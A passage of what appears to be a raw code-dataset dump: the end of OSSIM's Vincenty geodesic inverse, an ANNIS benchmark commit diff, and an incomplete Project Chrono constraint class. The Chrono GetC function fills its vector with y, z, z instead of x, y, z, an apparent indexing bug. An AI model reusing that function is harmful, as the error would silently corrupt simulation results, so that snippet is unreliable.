* cossig * (-1 + 2*cos2sigm2)));\r\n\r\n   \/\/ eq. 12\r\n   double alpha2 = atan2(sinalpha, -tmp);\r\n\r\n\r\n   p2.latr(phi2);\r\n   p2.lonr(p1.lonr() + L);\r\n   az21 = alpha2 + M_PI;\r\n   if (az21 < 0.0)\r\n      az21 += 2.0*M_PI;\r\n   if (az21 > 2.0*M_PI)\r\n      az21 -= 2.0*M_PI;\r\n\r\n   return computationOK;\r\n}\r\n\r\n\r\n\/\/*****************************************************************************\r\n\/\/  METHOD: ossimGeodeticEvaluator::inverse()\r\n\/\/  \r\n\/\/  Equation numbers reference Vincenty:\r\n\/\/    http:\/\/www.ngs.noaa.gov\/PUBS_LIB\/inverse.pdf\r\n\/\/\r\n\/\/    d    = distance (m)\r\n\/\/    az12 = azimuth 1->2\r\n\/\/    az21 = azimuth 2->1  (back azimuth)\r\n\/\/  \r\n\/\/*****************************************************************************\r\nbool ossimGeodeticEvaluator::inverse(const ossimGpt& p1,\r\n                                     const ossimGpt& p2,\r\n                                     double& d,\r\n                                     double& az12,\r\n                                     double& az21)\r\n{\r\n   if (traceDebug())\r\n   {\r\n      ossimNotify(ossimNotifyLevel_DEBUG)\r\n         << \"\\nossimGeodeticEvaluator::inverse DEBUG:\" << std::endl;\r\n   }\r\n\r\n   bool computationOK = false;\r\n\r\n   double phi1 = p1.latr();\r\n   double lam1 = p1.lonr();\r\n   double phi2 = p2.latr();\r\n   double lam2 = p2.lonr();\r\n\r\n   double U1 = atan((1.0-m_F) * tan(phi1));\r\n   double sinU1 = sin(U1);\r\n   double cosU1 = cos(U1);\r\n\r\n   double U2 = atan((1.0-m_F) * tan(phi2));\r\n   double sinU2 = sin(U2);\r\n   double cosU2 = cos(U2);\r\n\r\n   double sinU1sinU2 = sinU1 * sinU2;\r\n   double cosU1sinU2 = cosU1 * sinU2;\r\n   double sinU1cosU2 = sinU1 * cosU2;\r\n   double cosU1cosU2 = cosU1 * cosU2;\r\n\r\n   \/\/ Eq. 13\r\n   \/\/ 1st approximation\r\n   double L = lam2 - lam1;\r\n   double lam = L;\r\n\r\n\r\n   \/\/ Auxiliaries\r\n   double sig = 0.0;\r\n   double dSig = 0.0;\r\n   double lam0;\r\n   double cos2alpha;\r\n   double cos2sigm;\r\n   double cos2sigm2;\r\n   double sinsig;\r\n   double sin2sig;\r\n   double cossig;\r\n   bool converged = false;\r\n\r\n\r\n   int iter = 0;\r\n   int iterMax = 100;\r\n   int iterMin = 4;\r\n\r\n   \/\/ Iterative loop\r\n   do \r\n   {\r\n      iter++;\r\n\r\n      double sinlam = sin(lam);\r\n      double coslam = cos(lam);\r\n\r\n      \/\/ Eq. 14\r\n      double tmp = cosU1sinU2 - sinU1cosU2 * coslam;\r\n      sin2sig = cosU2*sinlam * cosU2*sinlam + tmp * tmp;\r\n      sinsig = sqrt(sin2sig);\r\n\r\n      \/\/ Eq. 15\r\n      cossig = sinU1sinU2 + (cosU1cosU2 * coslam);\r\n\r\n      \/\/ Eq. 16\r\n      sig = atan2(sinsig, cossig);\r\n\r\n      \/\/ Eq. 17\r\n      double sinalpha;\r\n      if (sin2sig == 0.0)\r\n         sinalpha = 0.0;\r\n      else\r\n         sinalpha = cosU1cosU2 * sinlam \/ sinsig;\r\n      cos2alpha = 1.0 - sinalpha*sinalpha;\r\n\r\n      \/\/ Eq. 18\r\n      if (cos2alpha == 0.0)\r\n         cos2sigm = 0.0;\r\n      else\r\n         cos2sigm = cossig - 2 * sinU1sinU2 \/ cos2alpha;\r\n      cos2sigm2 = cos2sigm * cos2sigm;\r\n\r\n      \/\/ Eq. 10\r\n      double C = m_F\/16 * cos2alpha * (4 + m_F * (4 - 3*cos2alpha));\r\n\r\n      \/\/ Eq. 11\r\n      lam0 = lam;\r\n      lam = L + (1-C) * m_F * sinalpha * (sig + C * sinsig * (cos2sigm + C * cossig * (-1 + 2*cos2sigm2)));\r\n\r\n\r\n      \/\/ Check delta lambda for convergence\r\n      double delta = fabs(lam - lam0);\r\n      if (delta < 1e-13 && iter>=iterMin)\r\n      {\r\n        converged = true;\r\n      }\r\n\r\n   } while (!converged && iter<=iterMax);\r\n\r\n\r\n   double u2 = cos2alpha * m_2ndEcc2;\r\n\r\n   \/\/ Eq. 3\r\n   double A = 1 + u2 \/ 16384 * (4096 + u2 * (-768 + u2 * (320 - 175*u2)));\r\n\r\n   \/\/ Eq. 4\r\n   double B = u2 \/ 1024 * (256 + u2 * (-128 + u2 * (74 - 47*u2)));\r\n\r\n   \/\/ Eq. 6\r\n   dSig = B * sinsig * (cos2sigm + B \/ 4 * (cossig * (-1 + 2*cos2sigm2) - B \/ 6 * cos2sigm * (-3 + 4*sin2sig) * (-3 + 4*cos2sigm2)));\r\n\r\n\r\n   \/\/ Compute distance\r\n   \/\/  Eq. 19\r\n   d = m_B * A * (sig - dSig);\r\n\r\n\r\n   \/\/ Compute azimuths\r\n   \/\/  Diverged, same meridian or antipodal\r\n   if (!converged)\r\n   {\r\n      if (phi1 > phi2)\r\n      {\r\n         az12 = M_PI;\r\n         az21 = 0.0;\r\n      }\r\n      else if (phi1 < phi2)\r\n      {\r\n         az12 = 0.0;\r\n         az21 = M_PI;\r\n      }\r\n      else\r\n      {\r\n         az12 = ossim::nan();\r\n         az21 = ossim::nan();\r\n      }\r\n   }\r\n\r\n   \/\/ Converged\r\n   else\r\n   {\r\n      \/\/ Eq. 20\r\n      az12 = atan2(cosU2 * sin(lam), (cosU1sinU2 - sinU1cosU2 * cos(lam)));\r\n      if (az12 < 0.0) az12 += 2.0*M_PI;\r\n\r\n      \/\/ Eq. 21\r\n      az21 = atan2(cosU1 * sin(lam), (-sinU1cosU2 + cosU1sinU2 * cos(lam))) + M_PI;\r\n      if (az21 < 0.0) az21 += 2.0*M_PI;\r\n\r\n      computationOK = true;\r\n   }\r\n\r\n   return computationOK;\r\n }\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   Copyright 2017 Thomas Krause <thomaskrause@posteo.de>\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#include \"dynamicbenchmark.h\"\n#include <annis\/json\/jsonqueryparser.h>\n\n#include <humblelogging\/api.h>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n#include <string>\n#include <stddef.h>\n\n#include <cmath>\n\nusing namespace annis;\n\nHUMBLE_LOGGER(benchLogger, \"DynamicBenchmark\");\n\nstd::shared_ptr<DBCache> DynamicCorpusFixture::dbCache\n  = std::make_shared<DBCache>(0);\n\nvoid DynamicCorpusFixture::UserBenchmark()\n{\n  while (q->next())\n  {\n    counter++;\n  }\n  HL_INFO(benchLogger, (boost::format(\"result %1%\") % counter).str());\n  if (expectedCount && counter != *expectedCount)\n  {\n    std::cerr << \"FATAL ERROR: query \" << benchmarkName << \":\" << currentExperimentValue << \" should have count \" << *expectedCount << \" but was \" << counter << std::endl;\n    std::cerr << \"\" << __FILE__ << \":\" << __LINE__ << std::endl;\n    exit(-1);\n  }\n}\n\nstd::vector<std::pair<int64_t, uint64_t> > DynamicCorpusFixture::getExperimentValues() const\n{\n  std::vector<std::pair<int64_t, uint64_t> > result;\n\n  for (auto it : json)\n  {\n    result.push_back({it.first, 0});\n  }\n\n  return result;\n}\n\nvoid DynamicCorpusFixture::tearDown()\n{\n}\n\nDynamicBenchmark::DynamicBenchmark(std::string queriesDir,\n  std::string corpusPath, std::string benchmarkName, bool multipleExperimentsParam)\n  : corpusPath(corpusPath), benchmarkName(benchmarkName), multipleExperiments(multipleExperimentsParam)\n{\n  \/\/ find all file ending with \".json\" in the folder\n  boost::filesystem::directory_iterator fileEndIt;\n\n  boost::filesystem::directory_iterator itFiles(queriesDir);\n  while (itFiles != fileEndIt)\n  {\n    const auto filePath = itFiles->path();\n    if (filePath.extension().string() == \".json\")\n    {\n      if(multipleExperiments)\n      {\n        \/\/ check if the file name is a valid number\n        std::string name = filePath.filename().stem().string();\n        try\n        {\n          std::stol(name);\n        }\n        catch(std::invalid_argument invalid)\n        {\n          \/\/ not a number, don't assume we have multiple experiments\n          multipleExperiments = false;\n        }\n      }\n       \n      foundJSONFiles.push_back(filePath);\n    }\n    itFiles++;\n  }\n  \n  if(foundJSONFiles.empty())\n  {\n    multipleExperiments = false;\n  }\n\n  QueryConfig baselineConfig;\n  baselineConfig.forceFallback = true;\n  registerFixtureInternal(true, \"Baseline\", baselineConfig);\n}\n\nvoid DynamicBenchmark::registerFixture(std::string fixtureName, const QueryConfig config)\n{\n  registerFixtureInternal(false, fixtureName, config);\n}\n\nvoid DynamicBenchmark::registerFixtureInternal(\n  bool baseline,\n  std::string fixtureName, const QueryConfig config)\n{\n  if (multipleExperiments)\n  {\n    std::map<int64_t, const boost::filesystem::path> paths;\n    for (const auto& filePath : foundJSONFiles)\n    {\n      \/\/ try to get a numerical ID from the file name\n      std::string name = filePath.filename().stem().string();\n      auto id = std::stol(name);\n      paths.insert({id, filePath});\n    }\n    addBenchmark(baseline, benchmarkName, paths, fixtureName, config);\n  }\n  else\n  {\n    for (const auto& filePath : foundJSONFiles)\n    {\n      std::map<int64_t, const boost::filesystem::path> paths;\n      paths.insert({0, filePath});\n      auto subBenchmarkName = benchmarkName + \"_\" + filePath.stem().string();\n      addBenchmark(baseline, subBenchmarkName, paths, fixtureName, config);\n    }\n  }\n}\n\n\nvoid DynamicBenchmark::addBenchmark(bool baseline,\n  std::string benchmarkName,\n  std::map<int64_t, const boost::filesystem::path>& paths,\n  std::string fixtureName,\n  QueryConfig config)\n{\n  unsigned int numberOfSamples = 5;\n\n  HL_INFO(benchLogger, (boost::format(\"adding benchmark %1%\") % benchmarkName).str());\n\n  std::map<int64_t, std::string> allQueries;\n  std::map<int64_t, unsigned int> expectedCount;\n  std::map<int64_t, uint64_t> fixedValues;\n\n  for (auto p : paths)\n  {\n    auto countPath = p.second.parent_path() \/= (p.second.stem().string() + \".count\");\n\n    boost::filesystem::ifstream stream;\n\n    stream.open(countPath);\n    if (stream.is_open())\n    {\n      unsigned int tmp;\n      stream >> tmp;\n      stream.close();\n      expectedCount.insert({p.first, tmp});\n    }\n\n    stream.open(p.second);\n    std::string queryJSON(\n      (std::istreambuf_iterator<char>(stream)),\n      (std::istreambuf_iterator<char>()));\n    stream.close();\n    \n    allQueries.insert({p.first, queryJSON});\n    \n    if(baseline)\n    {\n      double timeVal = 0.0;\n      auto timePath = p.second.parent_path() \/= (p.second.stem().string() + \".time\");\n      stream.open(timePath);\n      if (stream.is_open())\n      {\n        stream >> timeVal;\n        stream.close();\n      }\n      if(timeVal > 0.0)\n      {\n        \/\/ since celero uses microseconds an ANNIS milliseconds the value needs to be converted\n        fixedValues.insert({p.first, std::llround(timeVal*1000.0)});\n      }\n      else\n      {\n        \/\/ we would divide by zero later, thus use 1 micro second as smallest value\n        fixedValues.insert({p.first, 1});\n      }\n\n    }\n  }\n  std::shared_ptr<::celero::TestFixture> fixture(\n    new DynamicCorpusFixture(corpusPath, config, allQueries,\n    benchmarkName + \" (\" + fixtureName + \")\",\n    expectedCount));\n\n  if (baseline)\n  {\n    if(fixedValues.size() > 0)\n    {\n      std::shared_ptr<::celero::TestFixture> fixedFixture(new FixedValueFixture(fixedValues));\n      celero::RegisterBaseline(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n        std::make_shared<DynamicCorpusFixtureFactory>(fixedFixture));\n      \n    }\n    else\n    {\n     celero::RegisterBaseline(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n        std::make_shared<DynamicCorpusFixtureFactory>(fixture));\n    }\n  }\n  else\n  {\n    celero::RegisterTest(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n      std::make_shared<DynamicCorpusFixtureFactory>(fixture));\n  }\n}\n\n<commit_msg>Baseline is now always the count from the relANNIS system<commit_after>\/*\n   Copyright 2017 Thomas Krause <thomaskrause@posteo.de>\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#include \"dynamicbenchmark.h\"\n#include <annis\/json\/jsonqueryparser.h>\n\n#include <humblelogging\/api.h>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n#include <string>\n#include <stddef.h>\n\n#include <cmath>\n\nusing namespace annis;\n\nHUMBLE_LOGGER(benchLogger, \"DynamicBenchmark\");\n\nstd::shared_ptr<DBCache> DynamicCorpusFixture::dbCache\n  = std::make_shared<DBCache>(0);\n\nvoid DynamicCorpusFixture::UserBenchmark()\n{\n  while (q->next())\n  {\n    counter++;\n  }\n  HL_INFO(benchLogger, (boost::format(\"result %1%\") % counter).str());\n  if (expectedCount && counter != *expectedCount)\n  {\n    std::cerr << \"FATAL ERROR: query \" << benchmarkName << \":\" << currentExperimentValue << \" should have count \" << *expectedCount << \" but was \" << counter << std::endl;\n    std::cerr << \"\" << __FILE__ << \":\" << __LINE__ << std::endl;\n    exit(-1);\n  }\n}\n\nstd::vector<std::pair<int64_t, uint64_t> > DynamicCorpusFixture::getExperimentValues() const\n{\n  std::vector<std::pair<int64_t, uint64_t> > result;\n\n  for (auto it : json)\n  {\n    result.push_back({it.first, 0});\n  }\n\n  return result;\n}\n\nvoid DynamicCorpusFixture::tearDown()\n{\n}\n\nDynamicBenchmark::DynamicBenchmark(std::string queriesDir,\n  std::string corpusPath, std::string benchmarkName, bool multipleExperimentsParam)\n  : corpusPath(corpusPath), benchmarkName(benchmarkName), multipleExperiments(multipleExperimentsParam)\n{\n  \/\/ find all file ending with \".json\" in the folder\n  boost::filesystem::directory_iterator fileEndIt;\n\n  boost::filesystem::directory_iterator itFiles(queriesDir);\n  while (itFiles != fileEndIt)\n  {\n    const auto filePath = itFiles->path();\n    if (filePath.extension().string() == \".json\")\n    {\n      if(multipleExperiments)\n      {\n        \/\/ check if the file name is a valid number\n        std::string name = filePath.filename().stem().string();\n        try\n        {\n          std::stol(name);\n        }\n        catch(std::invalid_argument invalid)\n        {\n          \/\/ not a number, don't assume we have multiple experiments\n          multipleExperiments = false;\n        }\n      }\n       \n      foundJSONFiles.push_back(filePath);\n    }\n    itFiles++;\n  }\n  \n  if(foundJSONFiles.empty())\n  {\n    multipleExperiments = false;\n  }\n\n  QueryConfig baselineConfig;\n  registerFixtureInternal(true, \"Baseline\", baselineConfig);\n}\n\nvoid DynamicBenchmark::registerFixture(std::string fixtureName, const QueryConfig config)\n{\n  registerFixtureInternal(false, fixtureName, config);\n}\n\nvoid DynamicBenchmark::registerFixtureInternal(\n  bool baseline,\n  std::string fixtureName, const QueryConfig config)\n{\n  if (multipleExperiments)\n  {\n    std::map<int64_t, const boost::filesystem::path> paths;\n    for (const auto& filePath : foundJSONFiles)\n    {\n      \/\/ try to get a numerical ID from the file name\n      std::string name = filePath.filename().stem().string();\n      auto id = std::stol(name);\n      paths.insert({id, filePath});\n    }\n    addBenchmark(baseline, benchmarkName, paths, fixtureName, config);\n  }\n  else\n  {\n    for (const auto& filePath : foundJSONFiles)\n    {\n      std::map<int64_t, const boost::filesystem::path> paths;\n      paths.insert({0, filePath});\n      auto subBenchmarkName = benchmarkName + \"_\" + filePath.stem().string();\n      addBenchmark(baseline, subBenchmarkName, paths, fixtureName, config);\n    }\n  }\n}\n\n\nvoid DynamicBenchmark::addBenchmark(bool baseline,\n  std::string benchmarkName,\n  std::map<int64_t, const boost::filesystem::path>& paths,\n  std::string fixtureName,\n  QueryConfig config)\n{\n  unsigned int numberOfSamples = 5;\n\n  HL_INFO(benchLogger, (boost::format(\"adding benchmark %1%\") % benchmarkName).str());\n\n  std::map<int64_t, std::string> allQueries;\n  std::map<int64_t, unsigned int> expectedCount;\n  std::map<int64_t, uint64_t> fixedValues;\n\n  for (auto p : paths)\n  {\n    auto countPath = p.second.parent_path() \/= (p.second.stem().string() + \".count\");\n\n    boost::filesystem::ifstream stream;\n\n    stream.open(countPath);\n    if (stream.is_open())\n    {\n      unsigned int tmp;\n      stream >> tmp;\n      stream.close();\n      expectedCount.insert({p.first, tmp});\n    }\n\n    stream.open(p.second);\n    std::string queryJSON(\n      (std::istreambuf_iterator<char>(stream)),\n      (std::istreambuf_iterator<char>()));\n    stream.close();\n    \n    allQueries.insert({p.first, queryJSON});\n    \n    if(baseline)\n    {\n      double timeVal = 0.0;\n      auto timePath = p.second.parent_path() \/= (p.second.stem().string() + \".time\");\n      stream.open(timePath);\n      if (stream.is_open())\n      {\n        stream >> timeVal;\n        stream.close();\n      }\n      if(timeVal > 0.0)\n      {\n        \/\/ since celero uses microseconds an ANNIS milliseconds the value needs to be converted\n        fixedValues.insert({p.first, std::llround(timeVal*1000.0)});\n      }\n      else\n      {\n        \/\/ we would divide by zero later, thus use 1 micro second as smallest value\n        fixedValues.insert({p.first, 1});\n      }\n\n    }\n  }\n  std::shared_ptr<::celero::TestFixture> fixture(\n    new DynamicCorpusFixture(corpusPath, config, allQueries,\n    benchmarkName + \" (\" + fixtureName + \")\",\n    expectedCount));\n\n  if (baseline)\n  {\n    if(fixedValues.size() > 0)\n    {\n      std::shared_ptr<::celero::TestFixture> fixedFixture(new FixedValueFixture(fixedValues));\n      celero::RegisterBaseline(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n        std::make_shared<DynamicCorpusFixtureFactory>(fixedFixture));      \n    }\n    else\n    {\n     celero::RegisterBaseline(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n        std::make_shared<DynamicCorpusFixtureFactory>(fixture));\n    }\n  }\n  else\n  {\n    celero::RegisterTest(benchmarkName.c_str(), fixtureName.c_str(), numberOfSamples, 1, 1,\n      std::make_shared<DynamicCorpusFixtureFactory>(fixture));\n  }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2010, 2012 Alessandro Tasora\n\/\/ Copyright (c) 2013 Project Chrono\n\/\/ All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be \n\/\/ found in the LICENSE file at the top level of the distribution\n\/\/ and at http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\n#include \"chrono_fea\/ChLinkPointFrame.h\"\n#include \"physics\/ChSystem.h\"\n#include \"physics\/ChIndexedNodes.h\"\n\nusing namespace chrono;\nusing namespace fea;\n\n\/\/ Register into the object factory, to enable run-time\n\/\/ dynamic creation and persistence\nChClassRegister<ChLinkPointFrame> a_registration_ChLinkPointFrame;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nChLinkPointFrame::ChLinkPointFrame() {\n\tthis->react= VNULL;\n\tthis->cache_li_speed = VNULL;\n\tthis->cache_li_pos = VNULL;\n\tthis->attach_reference = CSYSNORM;\n\n\tSetIdentifier(GetUniqueIntID()); \/\/ mark with unique ID\n}\n\nChLinkPointFrame::~ChLinkPointFrame() {\n}\n\nvoid ChLinkPointFrame::Copy(ChLinkPointFrame* source) {\n\t\t\/\/ copy the parent class data...\n\tChPhysicsItem::Copy(source);\n\n\t\t\/\/ copy class data\n\tattach_reference = source->attach_reference;\n\treact = source->react;\n\tcache_li_speed = source->cache_li_speed;\n\tcache_li_pos = source->cache_li_pos;\n}\n\nChCoordsys<> ChLinkPointFrame::GetLinkAbsoluteCoords() {\n    if (this->body) {\n\t\tChCoordsys<> linkcsys = attach_reference >> (*this->body);\n\t\treturn linkcsys;\n\t}\n\treturn CSYSNORM;\n}\n\nint ChLinkPointFrame::Initialize(ChSharedPtr<ChIndexedNodes> mnodes, \/\/\/< nodes container\n\t\t\t\t\t\t   unsigned int mnode_index, \/\/\/< index of the node to join\n\t\t\t\t\t\t   ChSharedPtr<ChBodyFrame>  mbody,   \/\/\/< body to join \n                                 ChVector<>* mattach) {\n\tassert(!mnodes.IsNull());\n\n\tChSharedPtr<ChNodeFEAxyz> anode(mnodes->GetNode(mnode_index).DynamicCastTo<ChNodeFEAxyz>() ); \/\/ downcasting\n\t\n\tif (anode.IsNull()) \n        return false;  \/\/ downcasting wasn't successfull (in a ChIndexedNodes, different types of nodes could be\n                       \/\/ present..)\n\n\treturn this->Initialize(anode, mbody, mattach);\n}\n\nint ChLinkPointFrame::Initialize(ChSharedPtr<ChNodeFEAxyz> anode,  \/\/\/< node to join\n\t\t\t\t\t\t   ChSharedPtr<ChBodyFrame>  mbody,\t\t\/\/\/< body to join \n                                 ChVector<>* mattach) {\n\tassert(!anode.IsNull() && !mbody.IsNull());\n\n\tthis->body = mbody;\n\tthis->mnode = anode;\n\n\tthis->constraint1.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\tthis->constraint2.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\tthis->constraint3.SetVariables(&(this->mnode->Variables()), &(this->body->Variables()));\n\n\t\/\/this->SetSystem(this->body->GetSystem());\n\n    if (mattach) {\n\t\tthis->attach_reference.pos = body->TransformPointParentToLocal(*mattach);\n    } else {\n\t\t\/\/ downcasting\n        if (mnode.IsNull())\n            return false;\n\n\t\tChVector<> temp= mnode->GetPos(); \n\t\tthis->attach_reference.pos = body->TransformPointParentToLocal(temp);\n\t}\n\n\treturn true;\n}\n\nvoid ChLinkPointFrame::Update(double mytime, bool update_assets) {\n  \/\/ Inherit time changes of parent class\n  ChPhysicsItem::Update(mytime, update_assets);\n\n  \/\/ update class data\n  \/\/ ...\n}\n\nChMatrix<> ChLinkPointFrame::GetC() {\n    ChMatrix33<> Arw(attach_reference.rot >> body->GetRot());\n    ChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - body->TransformPointLocalToParent(attach_reference.pos));\n    ChMatrixNM<double, 3, 1> C;\n    C(0, 0) = res.y;\n    C(1, 0) = res.z;\n    C(2, 0) = res.z;\n    return C;\n}\n\n\/\/\/\/ STATE BOOKKEEPING FUNCTIONS\n\nvoid ChLinkPointFrame::IntStateGatherReactions(const unsigned int off_L, ChVectorDynamic<>& L) {\n\tL(off_L+0) = this->react.x;\n\tL(off_L+1) = this->react.y;\n\tL(off_L+2) = this->react.z;\n}\n\nvoid ChLinkPointFrame::IntStateScatterReactions(const unsigned int off_L, const ChVectorDynamic<>& L) {\n\tthis->react.x = L(off_L+0);\n\tthis->react.y = L(off_L+1);\n\tthis->react.z = L(off_L+2);\n}\n\nvoid ChLinkPointFrame::IntLoadResidual_CqL(const unsigned int off_L,    \/\/\/< offset in L multipliers\n\t\t\t\t\tChVectorDynamic<>& R,\t\t \/\/\/< result: the R residual, R += c*Cq'*L \n\t\t\t\t\tconst ChVectorDynamic<>& L,  \/\/\/< the L vector \n\t\t\t\t\tconst double c\t\t\t\t \/\/\/< a scaling factor\n                                           ) {\n\tif (!IsActive())\n    return;\n\n\tconstraint1.MultiplyTandAdd(R, L(off_L+0) *c);\n\tconstraint2.MultiplyTandAdd(R, L(off_L+1) *c);\n\tconstraint3.MultiplyTandAdd(R, L(off_L+2) *c);\n}\n\nvoid ChLinkPointFrame::IntLoadConstraint_C(const unsigned int off_L,  \/\/\/< offset in Qc residual\n\t\t\t\t\tChVectorDynamic<>& Qc,\t\t \/\/\/< result: the Qc residual, Qc += c*C \n\t\t\t\t\tconst double c,\t\t\t\t \/\/\/< a scaling factor\n\t\t\t\t\tbool do_clamp,\t\t\t\t \/\/\/< apply clamping to c*C?\n\t\t\t\t\tdouble recovery_clamp\t\t \/\/\/< value for min\/max clamping of c*C\n                                           ) {\n\tif (!IsActive())\n    return;\n\n\tChMatrix33<> Arw (attach_reference.rot >> body->GetRot());\n\n\tChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - this->body->TransformPointLocalToParent(this->attach_reference.pos) ); \n\tChVector<> cres = res * c;\n\n\tif (do_clamp) {\n\t\tcres.x = ChMin(ChMax(cres.x, -recovery_clamp), recovery_clamp);\n\t\tcres.y = ChMin(ChMax(cres.y, -recovery_clamp), recovery_clamp);\n\t\tcres.z = ChMin(ChMax(cres.z, -recovery_clamp), recovery_clamp);\n\t}\n\tQc(off_L+0) += cres.x;\n\tQc(off_L+1) += cres.y;\n\tQc(off_L+2) += cres.z;\n}\n\nvoid ChLinkPointFrame::IntToLCP(const unsigned int off_v,  \/\/\/< offset in v, R\n\t\t\t\t\tconst ChStateDelta& v,\n\t\t\t\t\tconst ChVectorDynamic<>& R,\n\t\t\t\t\tconst unsigned int off_L,\t\t\t\/\/\/< offset in L, Qc\n\t\t\t\t\tconst ChVectorDynamic<>& L,\n                                const ChVectorDynamic<>& Qc) {\n\tif (!IsActive())\n    return;\n\n\tconstraint1.Set_l_i(L(off_L+0));\n\tconstraint2.Set_l_i(L(off_L+1));\n\tconstraint3.Set_l_i(L(off_L+2));\n\n\tconstraint1.Set_b_i(Qc(off_L+0));\n\tconstraint2.Set_b_i(Qc(off_L+1));\n\tconstraint3.Set_b_i(Qc(off_L+2));\n}\n\nvoid ChLinkPointFrame::IntFromLCP(const unsigned int off_v,  \/\/\/< offset in v\n\t\t\t\t\tChStateDelta& v,\n\t\t\t\t\tconst unsigned int off_L,\t\t\t\/\/\/< offset in L\n                                  ChVectorDynamic<>& L) {\n\tif (!IsActive())\n    return;\n\n\tL(off_L+0)=constraint1.Get_l_i();\n\tL(off_L+1)=constraint2.Get_l_i();\n\tL(off_L+2)=constraint3.Get_l_i();\n}\n\n\/\/\/\/\/\/\/\/\/\/ LCP INTERFACES \/\/\/\/\n\nvoid ChLinkPointFrame::InjectConstraints(ChLcpSystemDescriptor& mdescriptor) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\tmdescriptor.InsertConstraint(&constraint1);\n\tmdescriptor.InsertConstraint(&constraint2);\n\tmdescriptor.InsertConstraint(&constraint3);\n}\n\nvoid ChLinkPointFrame::ConstraintsBiReset() {\n\tconstraint1.Set_b_i(0.);\n\tconstraint2.Set_b_i(0.);\n\tconstraint3.Set_b_i(0.);\n}\n \nvoid ChLinkPointFrame::ConstraintsBiLoad_C(double factor, double recovery_clamp, bool do_clamp) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\tif (mnode.IsNull()) \n\t\treturn;\n\n\tChMatrix33<> Arw (attach_reference.rot >> body->GetRot());\n\n\tChVector<> res = Arw.MatrT_x_Vect(mnode->GetPos() - this->body->TransformPointLocalToParent(this->attach_reference.pos) ); \n\n\tthis->constraint1.Set_b_i(constraint1.Get_b_i() +  factor * res.x);\n\tthis->constraint2.Set_b_i(constraint2.Get_b_i() +  factor * res.y);\n\tthis->constraint3.Set_b_i(constraint3.Get_b_i() +  factor * res.z);\n}\n\nvoid ChLinkPointFrame::ConstraintsBiLoad_Ct(double factor) {\n\t\/\/if (!this->IsActive())\n\t\/\/\treturn;\n\n\t\/\/ nothing\n}\n\nvoid ChLinkPointFrame::ConstraintsLoadJacobians() {\n\t\t\/\/ compute jacobians\n\tChMatrix33<> Aro (attach_reference.rot); \n\tChMatrix33<> Aow (body->GetRot());\n\tChMatrix33<> Arw = Aow * Aro;\n\n\tChMatrix33<> Jxn;\n\tJxn.CopyFromMatrixT(Arw);\n\n\tChMatrix33<> Jxb;\n\tJxb.CopyFromMatrixT(Arw);\n\tJxb.MatrNeg();\n\n\tChMatrix33<> atilde;\n\tatilde.Set_X_matrix(Aow.MatrT_x_Vect(mnode->GetPos()- body->GetPos()));\n\tChMatrix33<> Jrb;\n\tJrb.MatrTMultiply(Aro, atilde);\n\n\tthis->constraint1.Get_Cq_a()->PasteClippedMatrix(&Jxn, 0,0, 1,3, 0,0);\n\tthis->constraint2.Get_Cq_a()->PasteClippedMatrix(&Jxn, 1,0, 1,3, 0,0);\n\tthis->constraint3.Get_Cq_a()->PasteClippedMatrix(&Jxn, 2,0, 1,3, 0,0);\n\n\tthis->constraint1.Get_Cq_b()->PasteClippedMatrix(&Jxb, 0,0, 1,3, 0,0);\n\tthis->constraint2.Get_Cq_b()->PasteClippedMatrix(&Jxb, 1,0, 1,3, 0,0);\n\tthis->constraint3.Get_Cq_b()->PasteClippedMatrix(&Jxb, 2,0, 1,3, 0,0);\n\tthis->constraint1.Get_Cq_b()->PasteClippedMatrix(&Jrb, 0,0, 1,3, 0,3);\n\tthis->constraint2.Get_Cq_b()->PasteClippedMatrix(&Jrb, 1,0, 1,3, 0,3);\n\tthis->constraint3.Get_Cq_b()->PasteClippedMatrix(&Jrb, 2,0, 1,3, 0,3);\n}\n \nvoid ChLinkPointFrame::ConstraintsFetch_react(double factor) {\n\t\/\/ From constraints to react vector:\n\tthis->react.x = constraint1.Get_l_i() * factor; \n\tthis->react.y = constraint2.Get_l_i() * factor; \n\tthis->react.z = constraint3.Get_l_i() * factor; \n}\n\n\/\/ Following functions are for exploiting the contact persistence\n\nvoid ChLinkPointFrame::ConstraintsLiLoadSuggestedSpeedSolution() 